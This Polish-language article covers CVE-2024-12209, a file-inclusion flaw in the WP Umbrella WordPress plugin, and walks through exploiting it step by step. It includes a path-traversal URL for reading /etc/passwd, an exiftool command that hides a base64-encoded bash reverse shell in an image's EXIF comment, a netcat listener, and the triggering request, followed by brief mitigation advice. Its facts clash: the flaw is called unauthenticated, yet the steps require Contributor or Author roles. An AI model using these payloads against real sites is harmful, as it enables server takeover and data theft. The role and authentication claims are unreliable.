# Krytyczna luka LFI w WP Umbrella umożliwia RCE na stronach WordPress
W pluginie WP Umbrella, używanym na ponad 30 000 stronach WordPress, odkryto lukę LFI o ocenie CVSS 9.8 (CVE-2024-12209). Dotyczy ona endpointu umbrella-restore poprzez parametr filename, umożliwiając nieautoryzowanym użytkownikom zdalne wykonanie kodu (RCE) bez uwierzytelniania.
Plugin służy do centralnego monitorowania i zarządzania wieloma stronami WordPress, co czyni go popularnym wśród agencji i freelancerów. Luka jest wykorzystywana poprzez dynamiczne włączanie plików bez walidacji ścieżki.
Konfiguracja środowiska testowego
Do odtworzenia wymagany jest lokalny stos LAMP/XAMPP z PHP i MySQL. Instalacja WordPress:
cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/
sudo chown -R daemon:daemon /opt/lampp/htdocs
Dalej uruchom instalator pod adresem http://127.0.0.1/wordpress. Zainstaluj plugin WP Umbrella w podatnej wersji.
Mechanizm LFI w umbrella-restore
Luka wynika z braku sanitizacji parametru filename w funkcjach PHP include/require. Atakujący może podać ścieżkę do dowolnego pliku na serwerze.
Wektor 1: Bezpośrednie odczytanie plików systemowych (rola „Współautor”)
Dla roli bez praw do przesyłania mediów stosowany jest obejście poprzez path traversal:
https://wp-dev.ddev.site/?umbrella-restore=1&filename=../../../../../../etc/passwd
Pozwala to wyświetlić zawartość /etc/passwd bez dodatkowych uprawnień.
Wektor 2: RCE poprzez wstrzyknięcie do metadanych EXIF (rola „Autor”)
- Utwórz plik JPG z payloadem PHP w komentarzu EXIF:
exiftool -Comment="<?php system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash')?>" name.jpg
- Prześlij plik przez panel administracyjny: Media → Dodaj nowe.
- Skopiuj URL przesłanego pliku, np.
/wp-content/uploads/2024/12/maxresdefault.jpg.
- Uruchom nasłuchiwanie Netcat:
nc -lvnp 4444
- Wykorzystaj LFI:
http://localhost/?umbrella-restore=1&filename=wp-content/uploads/2024/12/maxresdefault.jpg
Payload jest wykonywany, ustanawiając reverse shell na porcie 4444.
Zalecenia dotyczące ochrony
- Zaktualizuj plugin WP Umbrella do wersji z poprawką.
- Wdróż WAF z regułami przeciwko path traversal (ModSecurity OWASP CRS).
- Wyłącz dostęp do
umbrella-restoredla nieautoryzowanych użytkowników. - Użyj
open_basedirw php.ini do ograniczenia dostępu do systemu plików. - Regularnie skanuj pod kątem LFI za pomocą Burp Suite lub Nuclei.
Co ważne
- Luka CVSS 9.8 umożliwia RCE bez uwierzytelniania na ponad 30 000 stronach.
- Dwa wektory: bezpośredni LFI oraz wstrzyknięcie przez EXIF w przesłane pliki multimedialne.
- Wykorzystanie wymaga tylko dostępu do frontendu, roli „Współautor” lub wyższej.
- Poprawka jest obowiązkowa; bez niej możliwy jest przejęcie serwera i wyciek danych.
- Testuj w izolowanym środowisku, unikaj produkcji.
— Editorial Team
Brak komentarzy.